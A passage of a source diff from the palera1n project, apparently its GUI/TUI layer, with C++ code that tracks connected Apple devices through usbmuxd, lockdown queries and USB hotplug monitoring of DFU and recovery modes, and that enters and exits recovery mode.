out.connectedDeviceCount = total_devices;
|
||||
out.multipleDevices = total_devices > 1;
|
||||
return out;
|
||||
}
|
||||
|
||||
void publish_state() {
|
||||
std::vector<DeviceStateCallback> callbacks;
|
||||
DeviceState state;
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
callbacks = g_callbacks;
|
||||
state = build_public_state_locked();
|
||||
}
|
||||
dispatch_callbacks(callbacks, state);
|
||||
}
|
||||
|
||||
bool lockdown_get_string(IdeviceFFI::Lockdown& client, const char* key, std::string& out) {
|
||||
auto res = client.get_value(key, nullptr);
|
||||
if (res.is_err()) return false;
|
||||
|
||||
plist_t raw_plist = res.unwrap();
|
||||
if (!raw_plist) return false;
|
||||
|
||||
char* raw = nullptr;
|
||||
plist_get_string_val(raw_plist, &raw);
|
||||
|
||||
if (raw) {
|
||||
out = raw;
|
||||
}
|
||||
|
||||
return !out.empty();
|
||||
}
|
||||
|
||||
bool lockdown_get_uint(IdeviceFFI::Lockdown& client, const char* key, uint64_t& out) {
|
||||
auto res = client.get_value(key, nullptr);
|
||||
if (res.is_err()) return false;
|
||||
|
||||
plist_t plist = res.unwrap();
|
||||
if (!plist) return false;
|
||||
|
||||
plist_get_uint_val(plist, &out);
|
||||
return out != 0;
|
||||
}
|
||||
|
||||
bool build_normal_state(const IdeviceFFI::UsbmuxdDevice& device, DeviceState& out) {
|
||||
auto id_opt = device.get_id();
|
||||
if (id_opt.is_none()) return false;
|
||||
uint32_t device_id = id_opt.unwrap();
|
||||
|
||||
auto udid_opt = device.get_udid();
|
||||
if (udid_opt.is_none()) return false;
|
||||
std::string udid_str = udid_opt.unwrap();
|
||||
|
||||
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
|
||||
if (prov_res.is_err()) return false;
|
||||
auto prov = std::move(prov_res).unwrap();
|
||||
|
||||
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
|
||||
if (lockdown_res.is_err()) return false;
|
||||
auto session = std::move(lockdown_res).unwrap();
|
||||
|
||||
auto pf_res = prov.get_pairing_file();
|
||||
if (pf_res.is_ok()) {
|
||||
(void)session.start_session(pf_res.unwrap());
|
||||
}
|
||||
|
||||
out.connected = true;
|
||||
out.mode = DeviceMode::Normal;
|
||||
out.udid = udid_str;
|
||||
|
||||
lockdown_get_string(session, "ProductType", out.productType);
|
||||
lockdown_get_string(session, "ProductVersion", out.productVersion);
|
||||
lockdown_get_uint(session, "UniqueChipID", out.ecid);
|
||||
|
||||
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||
if (irecv_devices[i].product_type == out.productType) {
|
||||
out.displayName = irecv_devices[i].name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
out.isSupported = SequenceIsSupported(out.productType);
|
||||
return true;
|
||||
}
|
||||
|
||||
static void handle_other_add(hotplug_handle_t handle, DeviceMode mode, bool supported) {
|
||||
char serial[256] = {};
|
||||
if (!get_usb_device_serial(handle, serial, sizeof(serial))) return;
|
||||
|
||||
const char *ecid_str = nullptr, *product_model = nullptr, *product_name = nullptr;
|
||||
get_recovery_info(serial, &ecid_str, &product_model, &product_name);
|
||||
uint64_t ecid = ecid_str ? strtoull(ecid_str, nullptr, 16) : 0;
|
||||
|
||||
if (ecid == 0) return;
|
||||
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
ManagedDevice& m = g_devices[ecid];
|
||||
|
||||
release_handle(m.handle);
|
||||
m.handle = handle;
|
||||
retain_handle(m.handle);
|
||||
|
||||
m.state.connected = true;
|
||||
m.state.mode = mode;
|
||||
m.state.ecid = ecid;
|
||||
m.state.productType = product_model ? product_model : "";
|
||||
m.state.productVersion.clear();
|
||||
m.state.displayName = product_name ? product_name : "";
|
||||
m.state.isSupported = supported;
|
||||
|
||||
m.recoveryPresent = (mode == DeviceMode::Recovery);
|
||||
m.dfuPresent = (mode == DeviceMode::DFU);
|
||||
}
|
||||
publish_state();
|
||||
}
|
||||
|
||||
static void remove_device(platform_service_t service, DeviceMode mode, uint32_t target_device_id = 0, const std::string& target_udid = "") {
|
||||
bool changed = false;
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
|
||||
auto it = std::find_if(g_devices.begin(), g_devices.end(), [&](const auto& pair) {
|
||||
if (service != IO_OBJECT_NULL) {
|
||||
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
return pair.second.handle.handle == service;
|
||||
#else
|
||||
return pair.second.handle.serv == service;
|
||||
#endif
|
||||
}
|
||||
if (mode == DeviceMode::Normal) {
|
||||
if (!target_udid.empty()) return pair.second.state.udid == target_udid;
|
||||
if (target_device_id != 0) return pair.second.device_id == target_device_id;
|
||||
return pair.second.normalPresent;
|
||||
}
|
||||
switch (mode) {
|
||||
case DeviceMode::Recovery: return pair.second.recoveryPresent;
|
||||
case DeviceMode::DFU: return pair.second.dfuPresent;
|
||||
default: return false;
|
||||
}
|
||||
});
|
||||
|
||||
if (it != g_devices.end()) {
|
||||
auto& [ecid, m] = *it;
|
||||
|
||||
if (mode == DeviceMode::Normal) {
|
||||
m.normalPresent = false;
|
||||
m.usbmuxd_device.reset();
|
||||
} else if (mode == DeviceMode::Recovery) {
|
||||
m.recoveryPresent = false;
|
||||
} else if (mode == DeviceMode::DFU) {
|
||||
m.dfuPresent = false;
|
||||
}
|
||||
|
||||
if (!m.normalPresent && !m.recoveryPresent && !m.dfuPresent) {
|
||||
release_handle(m.handle);
|
||||
g_devices.erase(it);
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
if (changed) publish_state();
|
||||
}
|
||||
|
||||
void usbmuxd_listener_worker() {
|
||||
std::unordered_map<uint32_t, std::string> known_normal_devices;
|
||||
|
||||
for (;;) {
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(500));
|
||||
|
||||
std::unordered_map<uint32_t, std::string> current_devices;
|
||||
std::vector<IdeviceFFI::UsbmuxdDevice> usb_only_devices;
|
||||
|
||||
auto conn_res = IdeviceFFI::UsbmuxdConnection::default_new(0);
|
||||
if (conn_res.is_ok()) {
|
||||
auto devices_res = std::move(conn_res).unwrap().get_devices();
|
||||
if (devices_res.is_ok()) {
|
||||
auto current_dev_list = std::move(devices_res).unwrap();
|
||||
usb_only_devices.reserve(current_dev_list.size());
|
||||
|
||||
for (auto& dev : current_dev_list) {
|
||||
auto conn_type_opt = dev.get_connection_type();
|
||||
if (conn_type_opt.is_none() || conn_type_opt.unwrap().to_string() != "USB") {
|
||||
continue;
|
||||
}
|
||||
|
||||
auto id_opt = dev.get_id();
|
||||
auto udid_opt = dev.get_udid();
|
||||
if (id_opt.is_some() && udid_opt.is_some()) {
|
||||
current_devices[id_opt.unwrap()] = udid_opt.unwrap();
|
||||
usb_only_devices.push_back(std::move(dev));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (auto it = known_normal_devices.begin(); it != known_normal_devices.end();) {
|
||||
if (current_devices.find(it->first) == current_devices.end()) {
|
||||
uint32_t removed_id = it->first;
|
||||
std::string removed_udid = it->second;
|
||||
it = known_normal_devices.erase(it);
|
||||
remove_device(IO_OBJECT_NULL, DeviceMode::Normal, removed_id, removed_udid);
|
||||
} else {
|
||||
++it;
|
||||
}
|
||||
}
|
||||
|
||||
for (auto& dev : usb_only_devices) {
|
||||
uint32_t id = dev.get_id().unwrap();
|
||||
|
||||
if (known_normal_devices.find(id) == known_normal_devices.end()) {
|
||||
DeviceState discovered;
|
||||
if (build_normal_state(dev, discovered)) {
|
||||
if (discovered.ecid == 0) continue;
|
||||
|
||||
known_normal_devices[id] = dev.get_udid().unwrap();
|
||||
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
ManagedDevice& m = g_devices[discovered.ecid];
|
||||
|
||||
release_handle(m.handle);
|
||||
|
||||
m.state = discovered;
|
||||
m.normalPresent = true;
|
||||
m.recoveryPresent = false;
|
||||
m.dfuPresent = false;
|
||||
m.device_id = id;
|
||||
|
||||
m.usbmuxd_device = std::make_unique<IdeviceFFI::UsbmuxdDevice>(std::move(dev));
|
||||
}
|
||||
publish_state();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void hotplug_callback(hotplug_event_t event, hotplug_handle_t handle) {
|
||||
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
platform_service_t srv = handle.handle;
|
||||
#else
|
||||
platform_service_t srv = handle.serv;
|
||||
#endif
|
||||
|
||||
switch (event) {
|
||||
case HOTPLUG_EVENT_DFU_ADD: handle_other_add(handle, DeviceMode::DFU, false); break;
|
||||
case HOTPLUG_EVENT_DFU_REMOVE: remove_device(srv, DeviceMode::DFU); break;
|
||||
case HOTPLUG_EVENT_RECOVERY_ADD: handle_other_add(handle, DeviceMode::Recovery, true); break;
|
||||
case HOTPLUG_EVENT_RECOVERY_REMOVE: remove_device(srv, DeviceMode::Recovery); break;
|
||||
}
|
||||
}
|
||||
|
||||
void recovery_listener_worker() {
|
||||
if (!start_hotplug_monitoring(hotplug_callback)) return;
|
||||
#ifdef __APPLE__
|
||||
CFRunLoopRun();
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
std::unique_lock<std::mutex> lock(g_mutex);
|
||||
g_recoveryRunning = true;
|
||||
g_recoveryCv.wait(lock, [] { return !g_recoveryRunning; });
|
||||
#endif
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
void register_device_state_callback(DeviceStateCallback cb) {
|
||||
if (!cb) return;
|
||||
DeviceState snapshot;
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
g_callbacks.push_back(cb);
|
||||
snapshot = build_public_state_locked();
|
||||
}
|
||||
cb(snapshot);
|
||||
}
|
||||
|
||||
void ensure_device_event_system_started() {
|
||||
std::call_once(g_startOnce, []() {
|
||||
std::thread(usbmuxd_listener_worker).detach();
|
||||
std::thread(recovery_listener_worker).detach();
|
||||
});
|
||||
}
|
||||
|
||||
bool enter_recovery() {
|
||||
uint32_t device_id = 0;
|
||||
std::string udid_str = "";
|
||||
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
if (g_activeEcid == 0) return false;
|
||||
|
||||
auto it = g_devices.find(g_activeEcid);
|
||||
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Normal) return false;
|
||||
|
||||
device_id = it->second.device_id;
|
||||
udid_str = it->second.state.udid;
|
||||
}
|
||||
|
||||
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
|
||||
if (prov_res.is_err()) return false;
|
||||
auto prov = std::move(prov_res).unwrap();
|
||||
|
||||
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
|
||||
if (lockdown_res.is_err()) return false;
|
||||
auto session = std::move(lockdown_res).unwrap();
|
||||
|
||||
auto pf_res = prov.get_pairing_file();
|
||||
if (pf_res.is_ok()) {
|
||||
(void)session.start_session(pf_res.unwrap());
|
||||
}
|
||||
|
||||
auto res = session.enter_recovery();
|
||||
return res.is_ok();
|
||||
}
|
||||
|
||||
void exit_recovery() {
|
||||
hotplug_handle_t handle;
|
||||
std::memset(&handle, 0, sizeof(handle));
|
||||
{
|
||||
std::lock_guard lock(g_mutex);
|
||||
if (g_activeEcid == 0) return;
|
||||
|
||||
auto it = g_devices.find(g_activeEcid);
|
||||
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Recovery) return;
|
||||
|
||||
handle = it->second.handle;
|
||||
}
|
||||
exit_recovery(handle);
|
||||
}
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,72 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#ifndef EVENT_H
|
||||
#define EVENT_H
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <string>
|
||||
|
||||
#ifdef WITH_GUI
|
||||
# include <wx/wx.h>
|
||||
#endif
|
||||
|
||||
enum class DeviceMode
|
||||
{
|
||||
None,
|
||||
Normal,
|
||||
Recovery,
|
||||
DFU
|
||||
};
|
||||
|
||||
struct DeviceState
|
||||
{
|
||||
bool connected = false;
|
||||
bool isSupported = false;
|
||||
bool multipleDevices = false;
|
||||
DeviceMode mode = DeviceMode::None;
|
||||
std::string productVersion;
|
||||
std::string productType;
|
||||
std::string displayName;
|
||||
uint64_t ecid = 0;
|
||||
std::string udid;
|
||||
uint32_t connectedDeviceCount = 0;
|
||||
};
|
||||
|
||||
using DeviceStateCallback = std::function<void(const DeviceState&)>;
|
||||
|
||||
void register_device_state_callback(DeviceStateCallback cb);
|
||||
void ensure_device_event_system_started();
|
||||
bool enter_recovery();
|
||||
void exit_recovery();
|
||||
|
||||
#endif // EVENT_H
|
||||
|
||||
#endif // WITH_GUI || WITH_TUI
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||
|
||||
#include "hotplug.hpp"
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
|
||||
constexpr int32_t APPLE_VID = 0x05AC;
|
||||
constexpr int32_t PID_DFU = 0x1227;
|
||||
constexpr int32_t PID_RECOVERY_1 = 0x1280;
|
||||
constexpr int32_t PID_RECOVERY_2 = 0x1281;
|
||||
constexpr int32_t PID_RECOVERY_3 = 0x1282;
|
||||
constexpr int32_t PID_RECOVERY_4 = 0x1283;
|
||||
|
||||
static const std::vector<int32_t> TARGET_PIDS = {
|
||||
PID_DFU, PID_RECOVERY_1, PID_RECOVERY_2, PID_RECOVERY_3, PID_RECOVERY_4
|
||||
};
|
||||
|
||||
static hotplug_callback_t gUserCallback = nullptr;
|
||||
|
||||
static bool is_target_pid(int32_t pid) {
|
||||
return std::find(TARGET_PIDS.begin(), TARGET_PIDS.end(), pid) != TARGET_PIDS.end();
|
||||
}
|
||||
|
||||
static hotplug_event_t get_hotplug_event(int32_t pid, bool arrived) {
|
||||
if (pid == PID_DFU) {
|
||||
return arrived ? HOTPLUG_EVENT_DFU_ADD : HOTPLUG_EVENT_DFU_REMOVE;
|
||||
}
|
||||
return arrived ? HOTPLUG_EVENT_RECOVERY_ADD : HOTPLUG_EVENT_RECOVERY_REMOVE;
|
||||
}
|
||||
|
||||
// MARK: IOKit
|
||||
|
||||
#if __APPLE__
|
||||
# include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
static IONotificationPortRef gNotifyPort = nullptr;
|
||||
static std::vector<io_iterator_t> gIterators;
|
||||
static CFRunLoopSourceRef gRunLoopSource = nullptr;
|
||||
|
||||
static void process_device_iterator(void *refcon, io_iterator_t iterator, bool arrived) {
|
||||
int32_t pid = static_cast<int32_t>(reinterpret_cast<uintptr_t>(refcon));
|
||||
io_service_t device;
|
||||
|
||||
while ((device = IOIteratorNext(iterator))) {
|
||||
if (gUserCallback) {
|
||||
hotplug_handle_t handle = { device, nullptr };
|
||||
|
||||
if (arrived) {
|
||||
IOCFPlugInInterface **plugIn = nullptr;
|
||||
SInt32 score = 0;
|
||||
if (IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugIn, &score) == kIOReturnSuccess && plugIn) {
|
||||
(*plugIn)->QueryInterface(plugIn, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&handle.device);
|
||||
IODestroyPlugInInterface(plugIn);
|
||||
}
|
||||
}
|
||||
|
||||
gUserCallback(get_hotplug_event(pid, arrived), handle);
|
||||
|
||||
if (handle.device) {
|
||||
(*handle.device)->Release(handle.device);
|
||||
}
|
||||
}
|
||||
IOObjectRelease(device);
|
||||
}
|
||||
}
|
||||
|
||||
static void device_added_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, true); }
|
||||
static void device_removed_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, false); }
|
||||
|
||||
static bool register_pid_node(int32_t pid) {
|
||||
void* refcon = reinterpret_cast<void*>(static_cast<uintptr_t>(pid));
|
||||
CFNumberRef vid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &APPLE_VID);
|
||||
CFNumberRef pid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
|
||||
|
||||
auto setup_notification = [&](const char* notification_type, void (*cb)(void*, io_iterator_t)) -> bool {
|
||||
CFMutableDictionaryRef match = IOServiceMatching(kIOUSBDeviceClassName);
|
||||
CFDictionarySetValue(match, CFSTR(kUSBVendorID), vid_num);
|
||||
CFDictionarySetValue(match, CFSTR(kUSBProductID), pid_num);
|
||||
|
||||
io_iterator_t iter = IO_OBJECT_NULL;
|
||||
if (IOServiceAddMatchingNotification(gNotifyPort, notification_type, match, cb, refcon, &iter) == KERN_SUCCESS && iter != IO_OBJECT_NULL) {
|
||||
cb(refcon, iter);
|
||||
gIterators.push_back(iter);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
|
||||
bool ok = setup_notification(kIOFirstMatchNotification, device_added_callback) &&
|
||||
setup_notification(kIOTerminatedNotification, device_removed_callback);
|
||||
|
||||
CFRelease(vid_num);
|
||||
CFRelease(pid_num);
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||
if (gNotifyPort != nullptr) return true;
|
||||
if (!callback) return false;
|
||||
|
||||
gUserCallback = callback;
|
||||
gNotifyPort = IONotificationPortCreate(MACH_PORT_NULL);
|
||||
if (!gNotifyPort) return false;
|
||||
|
||||
gRunLoopSource = IONotificationPortGetRunLoopSource(gNotifyPort);
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
|
||||
|
||||
for (int32_t pid : TARGET_PIDS) register_pid_node(pid);
|
||||
return true;
|
||||
}
|
||||
|
||||
void stop_hotplug_monitoring(void) {
|
||||
if (!gNotifyPort) return;
|
||||
if (gRunLoopSource) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
|
||||
gRunLoopSource = nullptr;
|
||||
}
|
||||
for (io_iterator_t iter : gIterators) {
|
||||
if (iter != IO_OBJECT_NULL) IOObjectRelease(iter);
|
||||
}
|
||||
gIterators.clear();
|
||||
IONotificationPortDestroy(gNotifyPort);
|
||||
gNotifyPort = nullptr;
|
||||
gUserCallback = nullptr;
|
||||
}
|
||||
|
||||
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||
if (handle.serv == IO_OBJECT_NULL || !buffer || maxLen == 0) return false;
|
||||
|
||||
CFTypeRef serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("USB Serial Number"), kCFAllocatorDefault, 0);
|
||||
if (!serialProp) serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("Serial Number"), kCFAllocatorDefault, 0);
|
||||
if (!serialProp) return false;
|
||||
|
||||
bool success = false;
|
||||
if (CFGetTypeID(serialProp) == CFStringGetTypeID()) {
|
||||
success = CFStringGetCString(static_cast<CFStringRef>(serialProp), buffer, static_cast<CFIndex>(maxLen), kCFStringEncodingUTF8);
|
||||
}
|
||||
CFRelease(serialProp);
|
||||
return success;
|
||||
}
|
||||
|
||||
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||
if (!handle.device || (*handle.device)->USBDeviceOpen(handle.device) != kIOReturnSuccess) return false;
|
||||
|
||||
IOUSBDevRequest request = { bmRequestType, bRequest, wValue, wIndex, wLength, data };
|
||||
kern_return_t kr = (*handle.device)->DeviceRequest(handle.device, &request);
|
||||
(*handle.device)->USBDeviceClose(handle.device);
|
||||
return (kr == kIOReturnSuccess);
|
||||
}
|
||||
|
||||
// MARK: Libusb
|
||||
|
||||
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||
|
||||
static libusb_context *gCtx = nullptr;
|
||||
static std::vector<libusb_hotplug_callback_handle> gCallbackHandles;
|
||||
static std::thread gEventThread;
|
||||
static std::atomic<bool> gRunning{false};
|
||||
|
||||
static int LIBUSB_CALL hotplug_callback(libusb_context *ctx, libusb_device *dev, libusb_hotplug_event event, void *user_data) {
|
||||
(void)ctx; (void)user_data;
|
||||
|
||||
struct libusb_device_descriptor desc;
|
||||
if (libusb_get_device_descriptor(dev, &desc) != LIBUSB_SUCCESS || desc.idVendor != APPLE_VID || !is_target_pid(desc.idProduct)) return 0;
|
||||
|
||||
if (gUserCallback) {
|
||||
libusb_ref_device(dev);
|
||||
std::thread([dev, event, desc]() {
|
||||
hotplug_handle_t handle = { dev, nullptr };
|
||||
bool arrived = (event == LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED);
|
||||
gUserCallback(get_hotplug_event(desc.idProduct, arrived), handle);
|
||||
libusb_unref_device(dev);
|
||||
}).detach();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool start_hotplug_monitoring(hotplug_callback_t callback) {
|
||||
if (gCtx != nullptr) return true;
|
||||
if (!callback || libusb_init(&gCtx) != LIBUSB_SUCCESS) return false;
|
||||
|
||||
if (!libusb_has_capability(LIBUSB_CAP_HAS_HOTPLUG)) {
|
||||
libusb_exit(gCtx);
|
||||
gCtx = nullptr;
|
||||
return false;
|
||||
}
|
||||
|
||||
gUserCallback = callback;
|
||||
gRunning = true;
|
||||
gEventThread = std::thread([]() {
|
||||
while (gRunning) libusb_handle_events_completed(gCtx, nullptr);
|
||||
});
|
||||
|
||||
libusb_hotplug_callback_handle cb_handle;
|
||||
int rc = libusb_hotplug_register_callback(
|
||||
gCtx, static_cast<libusb_hotplug_event>(LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT),
|
||||
LIBUSB_HOTPLUG_ENUMERATE, APPLE_VID, LIBUSB_HOTPLUG_MATCH_ANY, LIBUSB_HOTPLUG_MATCH_ANY,
|
||||
hotplug_callback, nullptr, &cb_handle
|
||||
);
|
||||
|
||||
if (rc == LIBUSB_SUCCESS) {
|
||||
gCallbackHandles.push_back(cb_handle);
|
||||
return true;
|
||||
}
|
||||
stop_hotplug_monitoring();
|
||||
return false;
|
||||
}
|
||||
|
||||
void stop_hotplug_monitoring(void) {
|
||||
if (!gCtx) return;
|
||||
for (auto cb_handle : gCallbackHandles) libusb_hotplug_deregister_callback(gCtx, cb_handle);
|
||||
gCallbackHandles.clear();
|
||||
|
||||
gRunning = false;
|
||||
libusb_unref_device(nullptr);
|
||||
|
||||
if (gEventThread.joinable()) gEventThread.join();
|
||||
libusb_exit(gCtx);
|
||||
gCtx = nullptr;
|
||||
gUserCallback = nullptr;
|
||||
}
|
||||
|
||||
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
|
||||
if (!handle.serv || !buffer || maxLen == 0) return false;
|
||||
|
||||
struct libusb_device_descriptor desc;
|
||||
if (libusb_get_device_descriptor(handle.serv, &desc) != LIBUSB_SUCCESS || desc.iSerialNumber == 0) return false;
|
||||
|
||||
libusb_device_handle *dev_handle = nullptr;
|
||||
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
|
||||
|
||||
int rc = libusb_get_string_descriptor_ascii(dev_handle, desc.iSerialNumber, reinterpret_cast<unsigned char*>(buffer), static_cast<int>(maxLen));
|
||||
libusb_close(dev_handle);
|
||||
return (rc > 0);
|
||||
}
|
||||
|
||||
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
|
||||
if (!handle.serv) return false;
|
||||
|
||||
libusb_device_handle *dev_handle = handle.device;
|
||||
bool must_close = false;
|
||||
|
||||
if (!dev_handle) {
|
||||
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
|
||||
must_close = true;
|
||||
}
|
||||
|
||||
int transferred = libusb_control_transfer(
|
||||
dev_handle, bmRequestType, bRequest, wValue, wIndex,
|
||||
reinterpret_cast<unsigned char*>(data), wLength, 1000
|
||||
);
|
||||
|
||||
if (must_close && dev_handle) {
|
||||
libusb_close(dev_handle);
|
||||
}
|
||||
|
||||
return transferred >= 0;
|
||||
}
|
||||
|
||||
// MARK: Liteusb
|
||||
|
||||
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||
|
||||
# include <liteusb.h>
|
||||
# include <map>
|
||||
# include <set>
|
||||
|
||||
struct PersistentDeviceContext {
|
||||
liteusb_device_t device;
|
||||
liteusb_handle_t* session = nullptr;
|
||||
};
|
||||
|
||||
static std::thread gHotplugThread;
|
||||
static std::atomic<bool> gHotplugRunning{false};
|
||||
static std::map<std::string, std::unique_ptr<PersistentDeviceContext>> gConnectedDevices;
|
||||
|
||||
static void hotplug_polling_worker() {
|
||||
liteusb_init(LITEUSB_FLAG_NONE);
|
||||
|
||||
while (gHotplugRunning) {
|
||||
liteusb_query_t *query = nullptr;
|
||||
if (liteusb_query_devices(&query) != LITEUSB_ERR_SUCCESS || !query) {
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
||||
continue;
|
||||
}
|
||||
|
||||
std::set<std::string> active_paths;
|
||||
|
||||
for (uint32_t i = 0; i < query->count; i++) {
|
||||
const auto& dev = query->list[i];
|
||||
if (dev.vid != APPLE_VID || !is_target_pid(dev.pid) || !dev.sysfs_path) continue;
|
||||
|
||||
std::string path(dev.sysfs_path);
|
||||
active_paths.insert(path);
|
||||
|
||||
if (gConnectedDevices.find(path) == gConnectedDevices.end()) {
|
||||
auto ctx = std::make_unique<PersistentDeviceContext>();
|
||||
ctx->device = dev;
|
||||
|
||||
if (liteusb_open_handle(&ctx->device, &ctx->session) == LITEUSB_ERR_SUCCESS) {
|
||||
auto* ctx_ptr = ctx.get();
|
||||
gConnectedDevices[path] = std::move(ctx);
|
||||
|
||||
if (gUserCallback) {
|
||||
gUserCallback(get_hotplug_event(ctx_ptr->device.pid, true), { reinterpret_cast<liteusb_handle_t*>(ctx_ptr) });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (auto it = gConnectedDevices.begin(); it != gConnectedDevices.end(); ) {
|
||||
if (active_paths.find(it->first) == active_paths.end()) {
|
||||
if (gUserCallback) {
|
||||
gUserCallback(get_hotplug_event(it->second->device.pid, false), { reinterpret_cast<liteusb_handle_t*>(it->second.get()) });
|
||||
}
|
||||
if (it->second->session) liteusb_close_handle(it->second->session);
|
||||
it = gConnectedDevices.erase(it);
|
||||
} else {
|
||||
++it;
|
||||
}
|
||||
}
|
||||
|
||||
liteusb_release_query(query);
|
||||
